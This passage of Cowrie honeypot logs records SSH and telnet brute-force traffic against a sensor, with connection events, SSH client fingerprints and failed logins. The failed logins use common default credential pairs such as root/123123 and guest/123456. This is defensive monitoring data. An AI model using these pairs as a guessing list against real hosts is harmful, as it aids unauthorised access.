88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.042664Z","src_ip":"159.203.92.129","session":"cddf0d4acb84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Bapu@0987","message":"login attempt [admin/Bapu@0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.060302Z","src_ip":"159.203.92.129","session":"cddf0d4acb84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.599546Z","src_ip":"192.109.200.78","session":"9e912b89675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd99bc0a6b19","protocol":"telnet","message":"New connection: 206.189.71.75:58724 (159.203.135.109:23) [session: cd99bc0a6b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:58.604877Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:59.066056Z","src_ip":"159.203.92.129","session":"cddf0d4acb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:08:59.991028Z","src_ip":"192.109.200.78","session":"9e912b89675c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35090,"dst_ip":"10.17.0.5","dst_port":22,"session":"58dd30bf9c04","protocol":"ssh","message":"New connection: 192.109.200.78:35090 (10.17.0.5:22) [session: 58dd30bf9c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:02.088798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:02.093689Z","src_ip":"192.109.200.78","session":"58dd30bf9c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:02.184897Z","src_ip":"192.109.200.78","session":"58dd30bf9c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:02.562547Z","src_ip":"192.109.200.78","session":"58dd30bf9c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":34482,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7b9071fa74","protocol":"telnet","message":"New connection: 206.189.71.75:34482 (159.203.135.109:23) [session: 5e7b9071fa74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:03.306709Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:03.649938Z","src_ip":"192.109.200.78","session":"58dd30bf9c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.54500913619995,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:04.458482Z","src_ip":"206.189.71.75","session":"7ff470bf4759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae2e5c5c8c2","protocol":"ssh","message":"New connection: 192.109.200.78:35106 (10.17.0.5:22) [session: 9ae2e5c5c8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:06.314264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:06.319415Z","src_ip":"192.109.200.78","session":"9ae2e5c5c8c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:06.407144Z","src_ip":"192.109.200.78","session":"9ae2e5c5c8c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:06.660736Z","src_ip":"192.109.200.78","session":"9ae2e5c5c8c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:07.747041Z","src_ip":"192.109.200.78","session":"9ae2e5c5c8c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.12184119224548,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:09.296309Z","src_ip":"206.189.71.75","session":"642a6af03d76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80267572402954,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:09.543542Z","src_ip":"206.189.71.75","session":"f746a3b68160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46292,"dst_ip":"10.17.0.5","dst_port":22,"session":"66003c7eee25","protocol":"ssh","message":"New connection: 192.109.200.78:46292 (10.17.0.5:22) [session: 66003c7eee25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:10.240874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:10.245020Z","src_ip":"192.109.200.78","session":"66003c7eee25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:10.328236Z","src_ip":"192.109.200.78","session":"66003c7eee25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":39950,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e0d7491b28","protocol":"telnet","message":"New connection: 206.189.71.75:39950 (159.203.135.109:23) [session: 90e0d7491b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:10.382048Z"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:10.581094Z","src_ip":"192.109.200.78","session":"66003c7eee25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:11.666176Z","src_ip":"192.109.200.78","session":"66003c7eee25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.352256059646606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:12.791090Z","src_ip":"206.189.71.75","session":"cee6a20a995c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.311224937438965,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:13.645051Z","src_ip":"206.189.71.75","session":"7ced6f12b410","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46306,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcbb96d364c","protocol":"ssh","message":"New connection: 192.109.200.78:46306 (10.17.0.5:22) [session: 4dcbb96d364c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.274380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.279411Z","src_ip":"192.109.200.78","session":"4dcbb96d364c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.361483Z","src_ip":"192.109.200.78","session":"4dcbb96d364c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.609203Z","src_ip":"192.109.200.78","session":"4dcbb96d364c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45248222351074,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.677975Z","src_ip":"206.189.71.75","session":"c49fda97f01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.58058452606201,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:14.800320Z","src_ip":"206.189.71.75","session":"715198f1e9ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:15.693729Z","src_ip":"192.109.200.78","session":"4dcbb96d364c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.03028225898743,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:15.698789Z","src_ip":"206.189.71.75","session":"ae3b721c2da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":44980,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cfebca3b0d5","protocol":"telnet","message":"New connection: 206.189.71.75:44980 (159.203.135.109:23) [session: 2cfebca3b0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:16.842066Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49530,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47391c6b730","protocol":"ssh","message":"New connection: 192.109.200.78:49530 (10.17.0.5:22) [session: e47391c6b730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:18.454899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:18.508338Z","src_ip":"192.109.200.78","session":"e47391c6b730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:18.544461Z","src_ip":"192.109.200.78","session":"e47391c6b730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:18.862967Z","src_ip":"192.109.200.78","session":"e47391c6b730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.58718657493591,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:18.878156Z","src_ip":"206.189.71.75","session":"d2a3965b2461","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.17143774032593,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:19.424015Z","src_ip":"206.189.71.75","session":"c672148b77f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:19.946628Z","src_ip":"192.109.200.78","session":"e47391c6b730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49570,"dst_ip":"10.17.0.5","dst_port":22,"session":"91745d87a5f3","protocol":"ssh","message":"New connection: 192.109.200.78:49570 (10.17.0.5:22) [session: 91745d87a5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:22.628999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:22.634146Z","src_ip":"192.109.200.78","session":"91745d87a5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:22.717543Z","src_ip":"192.109.200.78","session":"91745d87a5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:23.248722Z","src_ip":"192.109.200.78","session":"91745d87a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.41949486732483,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:24.305235Z","src_ip":"206.189.71.75","session":"99164463161b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:24.334372Z","src_ip":"192.109.200.78","session":"91745d87a5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.80481219291687,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:25.899647Z","src_ip":"206.189.71.75","session":"6e1364404088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49594,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2567f58f469","protocol":"ssh","message":"New connection: 192.109.200.78:49594 (10.17.0.5:22) [session: f2567f58f469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:26.783427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:09:26.788696Z","src_ip":"192.109.200.78","session":"f2567f58f469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ec